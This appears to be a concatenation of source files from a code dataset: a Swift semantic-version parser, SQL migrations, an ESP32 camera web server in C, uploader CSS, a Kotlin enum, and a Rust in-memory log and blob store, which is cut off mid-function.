// "1.0.0-alpha+debug" -> "1.0.0"
// ^- is cut from here
// Characters allowed in version digits.
let versionDigitSet = CharacterSet(charactersIn: "1234567890.")
let versionSegment = description.prefix { (c) -> Bool in
c.unicodeScalars.allSatisfy({ versionDigitSet.contains($0) })
}
// Split version digit segment into (maximum) of maxVersionComponents
// component array.
//
// "1.0.0" -> [Optional(1), Optional(0), Optional(0)]
// "1.0.0.0" -> [Optional(1), Optional(0), Optional(0)]
// "1..0" -> [Optional(1), Optional(0)]
// "....1" -> [Optional(1)]
let maxVersionComponents = 3
let versionComponents = (versionSegment
.split(separator: ".",
maxSplits: maxVersionComponents,
omittingEmptySubsequences: true)
.map({UInt($0)}))
.prefix(maxVersionComponents)
// Create a version digit string from the version components.
// Version is regarded as good and valid, if the re-created
// version string equals to original version digit segment.
//
// "1.0.0" -> [Optional(1), Optional(0), Optional(0)] -> "1.0.0" -> OK
// "1.0.0.0" -> [Optional(1), Optional(0), Optional(0)] -> "1.0.0" != "1.0.0.0" -> fail
// "1..0" -> [Optional(1), Optional(0)] -> "1.0" != "1..0" -> fail
// "....1" -> [Optional(1)] -> "1" != "....1" -> fail
guard versionSegment == versionComponents.map({ "\($0 ?? 0)" }).joined(separator: ".") else {
return nil
}
// Separate the pre-release identifier segment from the string.
// That is a substring starting after the first dash (-) to the
// end of string or up until the first plus (+) character.
// "1.0.0-alpha+debug" -> "alpha"
// "1.2.3+de-bug" -> ""
let releaseSegment = description
// Drop until the first plus (+) or dash (-) character.
// "1.0.0-alpha+debug" -> "-alpha+debug"
// "1.2.3+de-bug" -> ""
.drop { (c) -> Bool in "-+".contains(c) == false }
// Include everything up to the first plus (+).
// "-alpha+debug" -> "alpha+"
// "" -> ""
.prefix { (c) -> Bool in c != "+" }
// remove plus (+) at the end.
// "alpha+" -> "alpha"
// "" -> ""
.dropFirst()
// Split pre-release identifier segment into component array
// separated by dot (.) character. If resulting component
// array is empty, assign nil instead of [].
let releaseComponents = releaseSegment.isEmpty ? nil : releaseSegment.split(separator: ".").map { String($0) }
// Split build metadata identifier segment into component array
// separated by dot (.) character. If resulting component
// array is empty, assign nil instead of [].
let buildSegment = description
// Drop until the first plus (+) character.
// "1.0.0-alpha+debug" -> "+debug"
// "1.2.3+de-bug" -> "+de-bug"
.drop { (c) -> Bool in "+".contains(c) == false }
// remove plus (+) at the beginning.
// "+debug" -> "debug"
// "+de-bug" -> "de-bug"
.dropFirst()
// Split build metadata identifier segment into component array
// separated by dot (.) character. If resulting component
// array is empty, assign nil instead of [].
let buildComponents = buildSegment.isEmpty ? nil : buildSegment.split(separator: ".").map { String($0) }
// Initialize version digits
switch versionComponents.count {
case 1:
guard let major = versionComponents[0] else { return nil }
self.major = major
case 2:
guard let major = versionComponents[0] else { return nil }
guard let minor = versionComponents[1] else { return nil }
self.major = major
self.minor = minor
case 3:
guard let major = versionComponents[0] else { return nil }
guard let minor = versionComponents[1] else { return nil }
guard let patch = versionComponents[2] else { return nil }
self.major = major
self.minor = minor
self.patch = patch
default: return nil
}
// Validate & initialize the pre-release and build
// metadata identifiers.
guard _validateIdentifiers(releaseComponents) else { return nil }
self.preReleaseIdentifiers = releaseComponents
guard _validateIdentifiers(buildComponents) else { return nil }
self.buildMetadataIdentifiers = buildComponents
}
}
public extension SemanticVersionable {
/// Default implementation
///
/// Default implementation returns an instance representing a semantic version number 0.0.0.
var version:SemanticVersion {
return SemanticVersion()
}
// Deprecated
@available(*, deprecated, renamed: "version.description")
var versionDescription:String { return version.description }
/// API stability.
///
/// Rule 4: Major version zero (0.y.z) is for initial development. Anything MAY change at any time. The public API SHOULD NOT be considered stable.
var isStable:Bool { return version.major != 0 && version.preReleaseIdentifiers == nil }
}
| 47.790927 | 1,186 | 0.604499 |
0597b8072e5fc7eba9b715fe22e5b3916ba8b692 | 375 | sql | SQL | src/main/resources/db/migration/V2_22__migrerer_data_fra_bruker_data_til_oppfolging_data.sql | navikt/veilarbportefolje | f0cfdd79bc428327ce96543ae1fc041687f6bfa3 | [
"MIT"
] | 4 | 2020-01-09T16:02:54.000Z | 2022-03-23T11:46:21.000Z | src/test/resources/testmigration/V2_22__migrerer_data_fra_bruker_data_til_oppfolging_data.sql | tanbinh123/veilarbportefolje | 4a125771e707585b5e58f124a479898c57fe7986 | [
"MIT"
] | 46 | 2018-11-28T06:35:09.000Z | 2022-03-21T10:45:08.000Z | src/test/resources/testmigration/V2_22__migrerer_data_fra_bruker_data_til_oppfolging_data.sql | tanbinh123/veilarbportefolje | 4a125771e707585b5e58f124a479898c57fe7986 | [
"MIT"
] | 2 | 2020-04-06T09:24:31.000Z | 2022-02-18T08:34:49.000Z | INSERT INTO OPPFOLGING_DATA(
AKTOERID,
OPPDATERT_KILDESYSTEM,
OPPDATERT_PORTEFOLJE,
NY_FOR_VEILEDER,
VEILEDERIDENT,
OPPFOLGING)
SELECT
BD.AKTOERID,
BD.TILDELT_TIDSPUNKT,
NULL,
BD.NY_FOR_VEILEDER,
BD.VEILEDERIDENT,
BD.OPPFOLGING
FROM BRUKER_DATA BD
WHERE BD.AKTOERID IS NOT NULL
AND BD.AKTOERID NOT IN (SELECT AKTOERID FROM OPPFOLGING_DATA); | 22.058824 | 64 | 0.765333 |
fb968deee39b4e65f8c764b5db8c5ee65f676be3 | 11,415 | c | C | esp32_app/main/app_httpd.c | wzli/CodeMapLocalization | 613c021cccbcb4c0f1d42252a9bcb6396b230bea | [
"MIT"
] | 2 | 2020-07-12T16:02:20.000Z | 2020-09-06T14:08:43.000Z | esp32_app/main/app_httpd.c | wzli/CodeMapLocalization | 613c021cccbcb4c0f1d42252a9bcb6396b230bea | [
"MIT"
] | null | null | null | esp32_app/main/app_httpd.c | wzli/CodeMapLocalization | 613c021cccbcb4c0f1d42252a9bcb6396b230bea | [
"MIT"
] | null | null | null | #include "esp_http_server.h"
#include "esp_timer.h"
#include "esp_camera.h"
#include "img_converters.h"
#include "sdkconfig.h"
#include "esp_log.h"
#include "global.h"
/* global data */
QueueHandle_t frame_queues[N_FRAME_QUEUES];
/* static data */
static const char* TAG = "web_ui";
static char text_buf[1024];
static int led_level = 0;
/* helper functions */
typedef struct {
httpd_req_t* req;
size_t len;
} jpg_chunking_t;
static size_t jpg_encode_stream(void* arg, size_t index, const void* data, size_t len) {
jpg_chunking_t* j = (jpg_chunking_t*) arg;
if (!index) {
j->len = 0;
}
if (httpd_resp_send_chunk(j->req, (const char*) data, len) != ESP_OK) {
return 0;
}
j->len += len;
return len;
}
static int print_heap_info(char* buf, const char* name, uint32_t capabilities) {
multi_heap_info_t heap_info;
heap_caps_get_info(&heap_info, capabilities);
return sprintf(buf,
"\n%s Heap Info\n"
"total free bytes \t\t%d\n"
"total allocated bytes \t\t%d\n"
"largest free block \t\t%d\n"
"minimum free bytes \t\t%d\n"
"allocated blocks \t\t%d\n"
"free blocks \t\t\t%d\n"
"total blocks \t\t\t%d\n",
name, heap_info.total_free_bytes, heap_info.total_allocated_bytes,
heap_info.largest_free_block, heap_info.minimum_free_bytes, heap_info.allocated_blocks,
heap_info.free_blocks, heap_info.total_blocks);
}
static esp_err_t parse_request_param(httpd_req_t* req, const char* param_name, int* param) {
size_t buf_len = httpd_req_get_url_query_len(req) + 1;
if (buf_len < 2 || (httpd_req_get_url_query_str(req, text_buf, buf_len) != ESP_OK) ||
(httpd_query_key_value(text_buf, param_name, text_buf, 32) != ESP_OK)) {
return ESP_FAIL;
}
*param = atoi(text_buf);
return ESP_OK;
}
/* URI handlers */
static esp_err_t index_handler(httpd_req_t* req) {
extern const unsigned char index_html_gz_start[] asm("_binary_index_html_gz_start");
extern const unsigned char index_html_gz_end[] asm("_binary_index_html_gz_end");
size_t index_html_gz_len = index_html_gz_end - index_html_gz_start;
httpd_resp_set_type(req, "text/html");
httpd_resp_set_hdr(req, "Content-Encoding", "gzip");
sensor_t* s = esp_camera_sensor_get();
if (s != NULL) {
return httpd_resp_send(req, (const char*) index_html_gz_start, index_html_gz_len);
} else {
ESP_LOGE(TAG, "Camera sensor not found");
return httpd_resp_send_500(req);
}
}
static esp_err_t stats_handler(httpd_req_t* req) {
httpd_resp_set_type(req, "text/plain");
#if defined(CONFIG_FREERTOS_GENERATE_RUN_TIME_STATS) && \
defined(CONFIG_FREERTOS_USE_STATS_FORMATTING_FUNCTIONS)
static const char TASK_LIST_HEADER[] =
"Task Name State Pri Stack Num CoreId\n";
httpd_resp_send_chunk(req, TASK_LIST_HEADER, sizeof(TASK_LIST_HEADER) - 1);
vTaskList(text_buf);
httpd_resp_send_chunk(req, text_buf, strlen(text_buf));
static const char TASK_RUNTIME_STATS_HEADER[] = "\nTask Name Abs Time % Time\n";
httpd_resp_send_chunk(req, TASK_RUNTIME_STATS_HEADER, sizeof(TASK_RUNTIME_STATS_HEADER) - 1);
vTaskGetRunTimeStats(text_buf);
httpd_resp_send_chunk(req, text_buf, strlen(text_buf));
#endif
int stat_len = print_heap_info(text_buf, "Internal", MALLOC_CAP_INTERNAL | MALLOC_CAP_8BIT);
httpd_resp_send_chunk(req, text_buf, stat_len);
stat_len = print_heap_info(text_buf, "SPIRAM", MALLOC_CAP_SPIRAM | MALLOC_CAP_8BIT);
httpd_resp_send_chunk(req, text_buf, stat_len);
return httpd_resp_send_chunk(req, NULL, 0);
}
static esp_err_t capture_handler(httpd_req_t* req) {
int lossless = 0;
parse_request_param(req, "lossless", &lossless);
int stream;
if (ESP_OK != parse_request_param(req, "stream", &stream) || stream < 0 ||
stream >= N_FRAME_QUEUES) {
stream = 0;
}
int64_t fr_start = esp_timer_get_time();
camera_fb_t* fb = NULL;
if (pdTRUE != xQueueReceive(frame_queues[stream], &fb, 20) && fb) {
ESP_LOGE(TAG, "Frame Queue %d Timeout", stream);
httpd_resp_send_500(req);
return ESP_FAIL;
}
size_t fb_len = fb->len;
assert(fb->format != PIXFORMAT_JPEG);
esp_err_t result = ESP_OK;
result |= httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*");
if (lossless) {
httpd_resp_set_type(req, "image/x-portable-graymap");
httpd_resp_set_hdr(req, "Content-Disposition", "inline; filename=capture.pgm");
sprintf(text_buf, "P5\n%u %u\n%u\n", fb->width, fb->height, 255);
result |= httpd_resp_send_chunk(req, text_buf, strlen(text_buf));
result |= httpd_resp_send_chunk(req, (char*) fb->buf, fb->width * fb->height);
} else {
httpd_resp_set_type(req, "image/jpeg");
httpd_resp_set_hdr(req, "Content-Disposition", "inline; filename=capture.jpg");
jpg_chunking_t jchunk = {req, 0};
result |= frame2jpg_cb(fb, 80, jpg_encode_stream, &jchunk) ? ESP_OK : ESP_FAIL;
fb_len = jchunk.len;
}
result |= httpd_resp_send_chunk(req, NULL, 0);
while (pdTRUE != xQueueSendToBack(frame_queues[stream], &fb, 5)) {
ESP_LOGE(TAG, "Frame Queue %d Overflow", stream);
}
int64_t fr_end = esp_timer_get_time();
ESP_LOGD(TAG, "JPG: %uB %ums", (uint32_t)(fb_len), (uint32_t)((fr_end - fr_start) / 1000));
return result;
}
static esp_err_t cam_params_handler(httpd_req_t* req) {
sensor_t* s = esp_camera_sensor_get();
char* p = text_buf;
*p++ = '{';
p += sprintf(p, "\"framesize\":%u,", s->status.framesize);
p += sprintf(p, "\"contrast\":%d,", s->status.contrast);
p += sprintf(p, "\"aec\":%u,", s->status.aec);
p += sprintf(p, "\"aec2\":%u,", s->status.aec2);
p += sprintf(p, "\"aec_value\":%u,", s->status.aec_value);
p += sprintf(p, "\"ae_level\":%d,", s->status.ae_level);
p += sprintf(p, "\"agc\":%u,", s->status.agc);
p += sprintf(p, "\"agc_gain\":%u,", s->status.agc_gain);
p += sprintf(p, "\"gainceiling\":%u,", s->status.gainceiling);
p += sprintf(p, "\"raw_gma\":%u,", s->status.raw_gma);
p += sprintf(p, "\"lenc\":%u,", s->status.lenc);
p += sprintf(p, "\"bpc\":%u,", s->status.bpc);
p += sprintf(p, "\"wpc\":%u,", s->status.wpc);
p += sprintf(p, "\"hmirror\":%u,", s->status.hmirror);
p += sprintf(p, "\"vflip\":%u,", s->status.vflip);
p += sprintf(p, "\"led_intensity\":%d", led_level);
*p++ = '}';
*p++ = 0;
httpd_resp_set_type(req, "application/json");
httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*");
return httpd_resp_send(req, text_buf, strlen(text_buf));
}
static esp_err_t location_handler(httpd_req_t* req) {
LocalizationMsg msg;
write_localization_msg(&msg, &loc_ctx);
write_location_match_msg(&msg.location, &loc_ctx.outlier_filter.filtered_match);
int len = LocalizationMsg_to_json(&msg, text_buf);
len += sprintf(text_buf + len - 1,
", \"extracted\":[ %u, %u, %u, %u, %u, %u, %u, %u],"
"\"decoded\":[ %u, %u, %u, %u, %u, %u, %u, %u]}",
loc_ctx.row_code.bits.data[0], loc_ctx.row_code.bits.data[1],
loc_ctx.row_code.mask.data[0], loc_ctx.row_code.mask.data[1],
loc_ctx.col_code.bits.data[0], loc_ctx.col_code.bits.data[1],
loc_ctx.col_code.mask.data[0], loc_ctx.col_code.mask.data[1],
loc_ctx.scale_match.row_code.bits.data[0],
loc_ctx.scale_match.row_code.bits.data[1],
loc_ctx.scale_match.row_code.mask.data[0],
loc_ctx.scale_match.row_code.mask.data[1],
loc_ctx.scale_match.col_code.bits.data[0],
loc_ctx.scale_match.col_code.bits.data[1],
loc_ctx.scale_match.col_code.mask.data[0],
loc_ctx.scale_match.col_code.mask.data[1]) -
1;
httpd_resp_set_type(req, "application/json");
httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*");
return httpd_resp_send(req, text_buf, len);
}
static esp_err_t set_led_intensity_handler(httpd_req_t* req) {
int val;
if (ESP_OK != parse_request_param(req, "val", &val)) {
httpd_resp_send_404(req);
return ESP_FAIL;
}
led_level = val;
set_flash_led(val);
return httpd_resp_send(req, NULL, 0);
}
static esp_err_t set_cam_param_handler(httpd_req_t* req) {
ESP_LOGI(TAG, "received cam param request: %s", req->uri);
int val;
if (ESP_OK != parse_request_param(req, "val", &val)) {
httpd_resp_send_404(req);
return ESP_FAIL;
}
sensor_t* s = esp_camera_sensor_get();
if ((*(int (*)(sensor_t*, int)) req->user_ctx)(s, val)) {
return httpd_resp_send_500(req);
}
httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*");
return httpd_resp_send(req, NULL, 0);
}
/* http server init */
void app_httpd_main() {
// create queues
for (int i = 0; i < N_FRAME_QUEUES; ++i) {
frame_queues[i] = xQueueCreate(2, sizeof(camera_fb_t*));
assert(frame_queues[i]);
}
sensor_t* s = esp_camera_sensor_get();
httpd_uri_t uris[] = {
{"/", HTTP_GET, index_handler, NULL},
{"/stats", HTTP_GET, stats_handler, NULL},
{"/capture", HTTP_GET, capture_handler, NULL},
{"/set_led_intensity", HTTP_GET, set_led_intensity_handler, NULL},
{"/cam_params", HTTP_GET, cam_params_handler, NULL},
{"/location", HTTP_GET, location_handler, NULL},
// uris for setting camera params
{"/set_contrast", HTTP_GET, set_cam_param_handler, s->set_contrast},
{"/set_aec", HTTP_GET, set_cam_param_handler, s->set_exposure_ctrl},
{"/set_aec2", HTTP_GET, set_cam_param_handler, s->set_aec2},
{"/set_aec_value", HTTP_GET, set_cam_param_handler, s->set_aec_value},
{"/set_ae_level", HTTP_GET, set_cam_param_handler, s->set_ae_level},
{"/set_agc", HTTP_GET, set_cam_param_handler, s->set_gain_ctrl},
{"/set_agc_gain", HTTP_GET, set_cam_param_handler, s->set_agc_gain},
{"/set_gainceiling", HTTP_GET, set_cam_param_handler, s->set_gainceiling},
{"/set_raw_gma", HTTP_GET, set_cam_param_handler, s->set_raw_gma},
{"/set_lenc", HTTP_GET, set_cam_param_handler, s->set_lenc},
{"/set_bpc", HTTP_GET, set_cam_param_handler, s->set_bpc},
{"/set_wpc", HTTP_GET, set_cam_param_handler, s->set_wpc},
{"/set_hmirror", HTTP_GET, set_cam_param_handler, s->set_hmirror},
{"/set_vflip", HTTP_GET, set_cam_param_handler, s->set_vflip},
};
httpd_config_t config = HTTPD_DEFAULT_CONFIG();
config.core_id = 0;
config.stack_size = 4096;
config.max_uri_handlers = sizeof(uris) / sizeof(httpd_uri_t);
httpd_handle_t httpd;
if (httpd_start(&httpd, &config) == ESP_OK) {
ESP_LOGI(TAG, "Starting web server on port: '%d'", config.server_port);
for (int i = 0; i < config.max_uri_handlers; ++i) {
int err = httpd_register_uri_handler(httpd, uris + i);
ESP_LOGI(TAG, "registered URI handler at %s err %d\n", uris[i].uri, err);
}
}
}
| 42.752809 | 99 | 0.636443 |
46a971091ae778e831840b701938baef6f855f02 | 2,421 | css | CSS | src/Uploader/uploader.css | MaitreyJukar/react-image-gallery | c840e96576e65a4d60937664f86975b9bc988f8c | [
"MIT"
] | 4 | 2019-09-21T07:32:22.000Z | 2020-09-19T15:36:39.000Z | src/Uploader/uploader.css | MaitreyJukar/react-image-gallery | c840e96576e65a4d60937664f86975b9bc988f8c | [
"MIT"
] | 12 | 2019-08-11T09:49:02.000Z | 2022-03-08T22:56:31.000Z | src/Uploader/uploader.css | MaitreyJukar/react-image-gallery | c840e96576e65a4d60937664f86975b9bc988f8c | [
"MIT"
] | 4 | 2020-05-20T06:37:50.000Z | 2021-09-14T07:43:34.000Z | .uploader {
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: center;
margin: 10px;
height: 80%;
overflow-y: scroll;
}
.uploader form {
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: left;
width: 340px;
}
.uploader form .titleLabel {
font-style: normal;
font-weight: bold;
font-size: 12px;
line-height: 24px;
letter-spacing: 1px;
text-transform: uppercase;
color: #adb1b3;
margin-top: 24px;
}
.uploader form .title {
padding: 10px 15px;
background: #ffffff;
box-sizing: border-box;
box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.0877491);
border-radius: 4px;
font-style: normal;
font-size: 13px;
line-height: 19px;
}
.uploader form .error {
border-color: #d33333;
}
.uploader form .fileUploader {
background: rgba(86, 204, 242, 0.1);
border: 2px dashed rgba(86, 204, 242, 0.5);
box-sizing: border-box;
width: 100%;
height: 140px;
margin-top: 24px;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.fileUploaderInput {
box-sizing: border-box;
width: 100%;
height: 140px;
opacity: 0;
z-index: 2;
}
.imagePreview{
width: 340px;
margin: 24px 0px;
display: flex;
flex-direction: column;
}
.clearImage{
font-size: 12px;
color: blue;
margin-bottom: 5px;
cursor: pointer;
align-self: flex-end;
}
.previewImage {
display: block;
margin: auto;
margin-top: 10px;
max-width: 100%;
}
.uploader form .fileUploader .info {
font-style: normal;
font-size: 14px;
position: absolute;
color: #000000;
}
.uploader form .fileUploader .info a {
text-decoration: underline;
color: #2F80ED;
}
.uploader form .file {
margin-top: 10px;
}
.uploader form .submit {
margin-top: 10px;
height: 40px;
width: 240px;
margin: 20px auto 0;
cursor: pointer;
}
.uploader form .submit:disabled {
opacity: 0.4;
}
.heading {
font-style: normal;
font-weight: 600;
font-size: 24px;
line-height: 36px;
margin-bottom: 15px;
text-align: justify;
color: rgba(0, 0, 0, 0.4);
}
.hide {
opacity: 0;
position: absolute;
z-index: -1;
}
.errors {
margin-top: 20px;
}
.errorMessage {
color: #d33333;
font-size: 0.8em;
margin: 5px 0;
background: #ffe4e4;
padding: 5px 10px;
margin-top: 5px;
border-radius: 4px;
}
| 16.696552 | 53 | 0.635275 |
8c3bd86424c59e2de63eda52116b9b63e78dc785 | 287 | sql | SQL | internal/pkg/db/migrations/mysql/000002_create_links_table.up.sql | usadamasa/hackernews | 595a59532d9e5e9950897dd9e1ba5686f302b1c3 | [
"MIT"
] | null | null | null | internal/pkg/db/migrations/mysql/000002_create_links_table.up.sql | usadamasa/hackernews | 595a59532d9e5e9950897dd9e1ba5686f302b1c3 | [
"MIT"
] | null | null | null | internal/pkg/db/migrations/mysql/000002_create_links_table.up.sql | usadamasa/hackernews | 595a59532d9e5e9950897dd9e1ba5686f302b1c3 | [
"MIT"
] | null | null | null | CREATE TABLE IF NOT EXISTS Links(
ID INT NOT NULL UNIQUE AUTO_INCREMENT,
Title VARCHAR (255) ,
Address VARCHAR (255) ,
UserID INT ,
FOREIGN KEY (UserID) REFERENCES Users(ID) ,
PRIMARY KEY (ID)
)
| 31.888889 | 74 | 0.505226 |
b116a3178eff7d0809dadb44207f23e93a563ea1 | 206 | kt | Kotlin | app/src/main/java/dev/sebastiano/bundel/ui/Dimens.kt | ZianeA/bundel | dbe9546104622f357643e75f65a4243d320a628e | [
"Apache-2.0"
] | 94 | 2021-05-20T06:50:06.000Z | 2021-10-04T11:12:31.000Z | app/src/main/java/dev/sebastiano/bundel/ui/Dimens.kt | ZianeA/bundel | dbe9546104622f357643e75f65a4243d320a628e | [
"Apache-2.0"
] | 8 | 2021-10-06T08:07:46.000Z | 2022-02-13T16:41:23.000Z | app/src/main/java/dev/sebastiano/bundel/ui/Dimens.kt | ZianeA/bundel | dbe9546104622f357643e75f65a4243d320a628e | [
"Apache-2.0"
] | 11 | 2021-06-01T10:55:23.000Z | 2021-09-10T05:19:41.000Z | package dev.sebastiano.bundel.ui
import androidx.compose.runtime.Composable
import androidx.compose.ui.unit.dp
@Composable
internal fun singlePadding() = 8.dp
@Composable
internal fun iconSize() = 48.dp
| 18.727273 | 42 | 0.800971 |
2719e85ea7a63b594846b2f7b4624ef5ca17c7b4 | 933 | css | CSS | css/layout/_listing.css | theinterned/shopify_ui_challenge | cb2515bd4f18a79dbb9834ec055a2a2860b06acf | [
"MIT"
] | null | null | null | css/layout/_listing.css | theinterned/shopify_ui_challenge | cb2515bd4f18a79dbb9834ec055a2a2860b06acf | [
"MIT"
] | null | null | null | css/layout/_listing.css | theinterned/shopify_ui_challenge | cb2515bd4f18a79dbb9834ec055a2a2860b06acf | [
"MIT"
] | null | null | null | .listing {
margin: 0 calc(-.5 * $lh);
padding: 0;
list-style: none;
@mixin clearfix;
&__item {
border-bottom: 1px solid $mid-grey;
}
&__wrap-link {
display: block;
color: $text-color;
padding: $lh calc(.5 * $lh);
min-height: calc(5 * $lh);
}
&__wrap-link:hover {
background-color: white;
box-shadow: $mid-grey 0 1px 3px 1px;
}
&__header {
margin: 0;
color: $brand-color;
}
&__wrap-link:hover &__header {
color: $dark-brand-color;
}
@media screen and (min-width: 480px) {
&__item {
display: inline-block;;
width: 48%;
margin-right: 2%;
vertical-align: top;
}
&__wrap-link {
overflow: hidden;
}
}
@media screen and (min-width: 740px) {
&__item {
width: 30%;
margin-right: 3%;
}
}
@media screen and (min-width: 1280px) {
&__item {
width: 23%;
margin-right: 2%;
}
}
}
| 17.603774 | 41 | 0.540193 |
ba1a92d1569ccb6cc146066b5ea1c58c282bb3dd | 87 | kt | Kotlin | weather-library/src/main/java/org/rcgonzalezf/weather/common/WeatherProvider.kt | rcgonzalezf/weather-app-demo | 8302404110d044845412dff658d172991768350a | [
"MIT"
] | null | null | null | weather-library/src/main/java/org/rcgonzalezf/weather/common/WeatherProvider.kt | rcgonzalezf/weather-app-demo | 8302404110d044845412dff658d172991768350a | [
"MIT"
] | 20 | 2019-10-19T14:30:58.000Z | 2021-05-29T16:40:11.000Z | weather-library/src/main/java/org/rcgonzalezf/weather/common/WeatherProvider.kt | rcgonzalezf/weather-app-demo | 8302404110d044845412dff658d172991768350a | [
"MIT"
] | 1 | 2020-08-27T14:11:14.000Z | 2020-08-27T14:11:14.000Z | package org.rcgonzalezf.weather.common
enum class WeatherProvider {
OpenWeather
}
| 14.5 | 38 | 0.793103 |
d987177f7ff1cbf4486e84bc44e20e296977bcd1 | 28,155 | rs | Rust | src/persist/src/mem.rs | bobbyiliev/materialize | 44e3bcae151179075232ad436ae72f5883361fd1 | [
"MIT"
] | null | null | null | src/persist/src/mem.rs | bobbyiliev/materialize | 44e3bcae151179075232ad436ae72f5883361fd1 | [
"MIT"
] | null | null | null | src/persist/src/mem.rs | bobbyiliev/materialize | 44e3bcae151179075232ad436ae72f5883361fd1 | [
"MIT"
] | null | null | null | // Copyright Materialize, Inc. and contributors. All rights reserved.
//
// Use of this software is governed by the Business Source License
// included in the LICENSE file.
//
// As of the Change Date specified in that file, in accordance with
// the Business Source License, use of this software will be governed
// by the Apache License, Version 2.0.
//! In-memory implementations for testing and benchmarking.
use std::collections::HashMap;
use std::ops::Range;
use std::sync::{Arc, Mutex, MutexGuard};
use std::time::Instant;
use anyhow::anyhow;
use async_trait::async_trait;
use mz_ore::cast::CastFrom;
use mz_ore::metrics::MetricsRegistry;
use tokio::runtime::Runtime as AsyncRuntime;
use tracing::warn;
use crate::client::RuntimeClient;
use crate::error::Error;
use crate::indexed::cache::BlobCache;
use crate::indexed::metrics::Metrics;
use crate::indexed::Indexed;
use crate::location::{
Atomicity, Blob, BlobMulti, BlobRead, Consensus, ExternalError, LockInfo, Log, SeqNo,
VersionedData,
};
use crate::runtime::{self, RuntimeConfig};
use crate::unreliable::{UnreliableBlob, UnreliableHandle, UnreliableLog};
#[derive(Debug)]
struct MemLogCore {
seqno: Range<SeqNo>,
dataz: Vec<Vec<u8>>,
lock: Option<LockInfo>,
}
impl MemLogCore {
fn new(lock_info: LockInfo) -> Self {
MemLogCore {
seqno: SeqNo(0)..SeqNo(0),
dataz: Vec::new(),
lock: Some(lock_info),
}
}
fn open(&mut self, new_lock: LockInfo) -> Result<(), Error> {
if let Some(existing) = &self.lock {
let _ = new_lock.check_reentrant_for(&"MemLog", existing.to_string().as_bytes())?;
}
self.lock = Some(new_lock);
Ok(())
}
fn close(&mut self) -> Result<bool, Error> {
Ok(self.lock.take().is_some())
}
fn ensure_open(&self) -> Result<(), Error> {
if self.lock.is_none() {
return Err("log unexpectedly closed".into());
}
Ok(())
}
fn write_sync(&mut self, buf: Vec<u8>) -> Result<SeqNo, Error> {
self.ensure_open()?;
let write_seqno = self.seqno.end;
self.seqno = self.seqno.start..SeqNo(self.seqno.end.0 + 1);
self.dataz.push(buf);
debug_assert_eq!(
usize::cast_from(self.seqno.end.0 - self.seqno.start.0),
self.dataz.len()
);
Ok(write_seqno)
}
fn snapshot<F>(&self, mut logic: F) -> Result<Range<SeqNo>, Error>
where
F: FnMut(SeqNo, &[u8]) -> Result<(), Error>,
{
self.ensure_open()?;
self.dataz
.iter()
.enumerate()
.map(|(idx, x)| logic(SeqNo(self.seqno.start.0 + u64::cast_from(idx)), &x[..]))
.collect::<Result<(), Error>>()?;
Ok(self.seqno.clone())
}
fn truncate(&mut self, upper: SeqNo) -> Result<(), Error> {
self.ensure_open()?;
if upper <= self.seqno.start || upper > self.seqno.end {
return Err(format!(
"invalid truncation {:?} for log containing: {:?}",
upper, self.seqno
)
.into());
}
let removed = upper.0 - self.seqno.start.0;
self.seqno = upper..self.seqno.end;
self.dataz.drain(0..usize::cast_from(removed));
debug_assert_eq!(
usize::cast_from(self.seqno.end.0 - self.seqno.start.0),
self.dataz.len()
);
Ok(())
}
}
/// An in-memory implementation of [Log].
#[derive(Debug)]
pub struct MemLog {
core: Option<Arc<Mutex<MemLogCore>>>,
}
impl MemLog {
/// Constructs a new, empty MemLog.
pub fn new(lock_info: LockInfo) -> Self {
MemLog {
core: Some(Arc::new(Mutex::new(MemLogCore::new(lock_info)))),
}
}
/// Constructs a new, empty MemLog with a unique reentrance id.
///
/// Helper for tests that don't care about locking reentrance (which is most
/// of them).
#[cfg(test)]
pub fn new_no_reentrance(lock_info_details: &str) -> Self {
Self::new(LockInfo::new_no_reentrance(lock_info_details.to_owned()))
}
/// Open a pre-existing MemLog.
fn open(core: Arc<Mutex<MemLogCore>>, lock_info: LockInfo) -> Result<Self, Error> {
core.lock()?.open(lock_info)?;
Ok(Self { core: Some(core) })
}
fn core_lock<'c>(&'c self) -> Result<MutexGuard<'c, MemLogCore>, Error> {
match self.core.as_ref() {
None => return Err("MemLog has been closed".into()),
Some(core) => Ok(core.lock()?),
}
}
}
impl Drop for MemLog {
fn drop(&mut self) {
let did_work = self.close().expect("closing MemLog cannot fail");
// MemLog should have been closed gracefully; this drop is only here
// as a failsafe. If it actually did anything, that's surprising.
if did_work {
warn!("MemLog dropped without close");
}
}
}
impl Log for MemLog {
fn write_sync(&mut self, buf: Vec<u8>) -> Result<SeqNo, Error> {
self.core_lock()?.write_sync(buf)
}
fn snapshot<F>(&self, logic: F) -> Result<Range<SeqNo>, Error>
where
F: FnMut(SeqNo, &[u8]) -> Result<(), Error>,
{
self.core_lock()?.snapshot(logic)
}
fn truncate(&mut self, upper: SeqNo) -> Result<(), Error> {
self.core_lock()?.truncate(upper)
}
fn close(&mut self) -> Result<bool, Error> {
match self.core.take() {
None => Ok(false), // Someone already called close.
Some(core) => core.lock()?.close(),
}
}
}
#[derive(Debug)]
struct MemBlobCore {
dataz: HashMap<String, Vec<u8>>,
lock: Option<LockInfo>,
}
impl MemBlobCore {
fn new(lock_info: LockInfo) -> Self {
MemBlobCore {
dataz: HashMap::new(),
lock: Some(lock_info),
}
}
#[cfg(test)]
fn new_read() -> Self {
MemBlobCore {
dataz: HashMap::new(),
lock: None,
}
}
fn open(&mut self, new_lock: LockInfo) -> Result<(), Error> {
if let Some(existing) = &self.lock {
let _ = new_lock.check_reentrant_for(&"MemBlob", existing.to_string().as_bytes())?;
}
self.lock = Some(new_lock);
Ok(())
}
fn close(&mut self) -> Result<bool, Error> {
Ok(self.lock.take().is_some())
}
fn ensure_open(&self) -> Result<(), Error> {
if self.lock.is_none() {
return Err("blob unexpectedly closed".into());
}
Ok(())
}
fn get(&self, key: &str) -> Result<Option<Vec<u8>>, Error> {
Ok(self.dataz.get(key).cloned())
}
fn set(&mut self, key: &str, value: Vec<u8>) -> Result<(), Error> {
self.ensure_open()?;
self.dataz.insert(key.to_owned(), value);
Ok(())
}
fn list_keys(&self) -> Result<Vec<String>, Error> {
